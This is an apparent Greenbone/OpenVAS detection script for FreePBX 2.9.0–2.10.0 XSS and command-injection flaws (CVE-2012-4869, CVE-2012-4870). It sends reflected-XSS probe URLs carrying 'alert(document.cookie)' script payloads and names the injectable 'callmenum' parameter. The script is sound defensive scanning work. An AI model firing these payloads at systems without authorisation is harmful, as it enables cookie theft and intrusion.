FreePBX 2.9.0 - 2.10.0 Multiple Vulnerabilities - Active Check

# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:freepbx:freepbx";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.902823");
  script_version("2024-06-04T05:05:28+0000");
  script_tag(name:"last_modification", value:"2024-06-04 05:05:28 +0000 (Tue, 04 Jun 2024)");
  script_tag(name:"creation_date", value:"2012-03-27 16:35:51 +0530 (Tue, 27 Mar 2012)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");

  script_cve_id("CVE-2012-4869", "CVE-2012-4870");

  script_tag(name:"qod_type", value:"remote_analysis");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("FreePBX 2.9.0 - 2.10.0 Multiple Vulnerabilities - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2012 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_freepbx_http_detect.nasl");
  script_mandatory_keys("freepbx/http/detected");
  script_require_ports("Services/www", 443);

  script_tag(name:"summary", value:"FreePBX is prone to multiple cross-site scripting (XSS) and
  remote command execution (RCE) vulnerabilities.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"insight", value:"Multiple flaws are caused by an,

  - Improper validation of user-supplied input by multiple scripts, which allows attacker to
  execute arbitrary HTML and script code on the user's browser session in the security context of
  an affected site.

  - Input passed to the 'callmenum' parameter in recordings/misc/callme_page.php (when 'action' is
  set to 'c') is not properly verified before being used. This can be exploited to inject and
  execute arbitrary shell commands.");

  script_tag(name:"impact", value:"Successful exploitation may allow remote attackers to steal
  cookie-based authentication credentials or execute arbitrary commands within the context of the
  affected application.");

  script_tag(name:"affected", value:"FreePBX versions 2.9.0 and 2.10.0.");

  script_tag(name:"solution", value:"Apply the patch from the referenced advisory.");

  script_xref(name:"URL", value:"http://secunia.com/advisories/48475");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/52630");
  script_xref(name:"URL", value:"http://secunia.com/advisories/48463");
  script_xref(name:"URL", value:"http://xforce.iss.net/xforce/xfdb/74173");
  script_xref(name:"URL", value:"http://www.freepbx.org/trac/ticket/5711");
  script_xref(name:"URL", value:"http://www.freepbx.org/trac/ticket/5713");
  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/18649");
  script_xref(name:"URL", value:"http://packetstormsecurity.org/files/111130/freepbx2100-exec.txt");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");

if (!port = get_app_port(cpe: CPE, service: "www"))
  exit(0);

if (!dir = get_app_location(cpe: CPE, port: port))
  exit(0);

if (dir == "/")
  dir = "";

urls = make_list(dir + "/recordings/index.php?login='><script>alert(document.cookie)</script>",
                 dir + '/panel/index_amp.php?context="<script>alert(document.cookie)</script>');

foreach url (urls) {
  if (http_vuln_check(port: port, url: url, check_header: TRUE,
                      pattern:"<script>alert\(document\.cookie\)</script>")) {
    report = http_report_vuln_url(port: port, url: url);
    security_message(port: port, data: report);
    exit(0);
  }
}

exit(99);